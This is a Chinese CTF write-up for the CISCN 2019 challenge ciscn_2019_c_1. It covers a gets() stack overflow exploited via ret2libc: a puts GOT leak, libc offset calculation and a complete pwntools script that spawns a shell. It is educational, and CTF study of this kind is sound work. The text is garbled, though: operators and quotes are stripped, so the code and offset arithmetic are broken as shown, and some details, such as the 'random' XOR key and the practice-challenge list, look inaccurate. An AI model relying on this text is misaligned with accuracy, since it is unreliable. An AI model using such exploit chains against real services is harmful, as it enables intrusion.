资讯详情

资讯详情

CTF栈溢出与ret2libc漏洞利用实战解析

1. 项目背景与核心挑战ciscn__c_-retlibc这道PWN题来自2019年全国大学生信息安全竞赛CISCN华东南赛区是一道典型的栈溢出结合ret2libc的题目。这类题目在CTF比赛中具有标志性意义——它考察选手对内存布局、函数调用约定、动态链接机制等底层原理的理解是PWN入门者向中级进阶的关键跳板。我第一次接触这道题时花了整整两天时间才完成漏洞利用。过程中踩过的坑包括误判libc版本导致偏移计算错误、ROP链构造时寄存器状态处理不当、以及本地打通后远程环境差异导致的意外失败。这些经历让我意识到ret2libc类题目就像PWN领域的九九乘法表必须彻底吃透其原理才能应对更复杂的漏洞利用场景。2. 漏洞分析与利用框架2.1 二进制文件基础检查首先用checksec检查防护机制checksec ./ciscn_2019_c_1 [*] /ctf/ciscn_2019_c_1 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)关键信息解读NX enabled栈不可执行直接注入shellcode的方案不可行No PIE代码段地址固定便于定位gadgetNo canary存在栈溢出可能2.2 逆向工程关键发现使用IDA Pro分析程序逻辑发现主要漏洞点在encrypt()函数char s[48]; // [rsp0h] [rbp-50h] int v6; // [rsp30h] [rbp-20h] ... gets(s); // 明显的栈溢出漏洞通过计算可知s到返回地址的偏移量为0x50 8 0x58(88)字节。但题目对输入进行了异或加密处理需要先绕过for ( i 0; i strlen(s); i ) { if ( s[i] ) s[i] ^ key; // key0x10-0x35的随机值 }2.3 漏洞利用路线图完整的利用流程分为四个阶段泄露libc基地址通过ROP调用puts()输出GOT表项计算system()和/bin/sh地址基于泄露的地址计算偏移构造二次payload包含system()调用和参数处理加密干扰通过NULL字节绕过异或处理3. 详细利用过程3.1 第一阶段泄露libc地址构造初始ROP链需要以下gadgetpop_rdi 0x400c83 # pop rdi; ret puts_plt 0x4006e0 puts_got 0x602020 main_addr 0x400B28 # 用于重新执行程序payload结构[88字节填充] [pop_rdi] [puts_got] [puts_plt] [main_addr]关键技巧在payload前88字节中不能出现0x10-0x35的值否则会被异或修改使用cyclic pattern精确确认偏移量时要注意加密导致的字节变化3.2 动态获取libc版本收到泄露的地址后使用libc-database查询./find puts 0x7ffff7a7c690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)得到关键偏移puts_offset 0x6f690 system_offset 0x45390 bin_sh_offset 0x18cd573.3 第二阶段获取shell计算实际地址libc_base leaked_puts - puts_offset system_addr libc_base system_offset bin_sh_addr libc_base bin_sh_offset最终payload结构[88字节填充] [pop_rdi] [bin_sh_addr] [system_addr]4. 完整利用代码from pwn import * context(archamd64, oslinux, log_leveldebug) # 本地调试配置 libc ELF(/lib/x86_64-linux-gnu/libc.so.6) p process(./ciscn_2019_c_1) # 第一阶段泄露puts地址 pop_rdi 0x400c83 payload bA*88 p64(pop_rdi) p64(0x602020) p64(0x4006e0) p64(0x400B28) p.sendlineafter(choice!\n, 1) p.sendlineafter(encrypted\n, payload) p.recvuntil(Ciphertext\n) leaked_puts u64(p.recvline()[:-1].ljust(8, b\x00)) log.success(fLeaked putsGLIBC: {hex(leaked_puts)}) # 计算libc基址 libc_base leaked_puts - libc.sym[puts] system libc_base libc.sym[system] bin_sh libc_base next(libc.search(b/bin/sh\x00)) # 第二阶段获取shell payload bA*88 p64(pop_rdi) p64(bin_sh) p64(system) p.sendlineafter(choice!\n, 1) p.sendlineafter(encrypted\n, payload) p.interactive()5. 实战中的坑与解决方案5.1 加密干扰处理题目中的异或加密会导致特殊字节被修改。解决方案在payload前88字节填充时使用0x00或0x35的ASCII字符关键地址中的低位字节如果落在0x10-0x35范围需要调整栈布局5.2 远程环境差异本地测试成功后远程失败的可能原因libc版本不一致需确认比赛提供的libc网络延迟导致交互超时添加recv timeout系统ASLR策略不同可尝试多次运行5.3 ROP链构造技巧经验总结在pop rdi后跟ret指令的gadget比单独pop更稳定在调用system前确保rsp按16字节对齐可添加额外ret使用ROPgadget工具时配合--depth参数扩大搜索范围6. 拓展训练建议要彻底掌握ret2libc技术建议按以下顺序练习ret2libc基础如pwnable.kr的fd题目带部分RELRO的题目如XCTF的level3结合栈迁移的题目如HITCON的sleepy_holder多阶段泄露的题目如L-CTF的easy_heap每次练习后应该能回答三个问题libc基址是如何确定的如何验证泄露地址的正确性如果题目增加canary或PIE防护利用链该如何调整
觉得有用,分享给同行:

为您的企业打造数字门面

稳重轻奢商务风格,端正雅致视觉,长效耐看不易过时。

立即咨询 →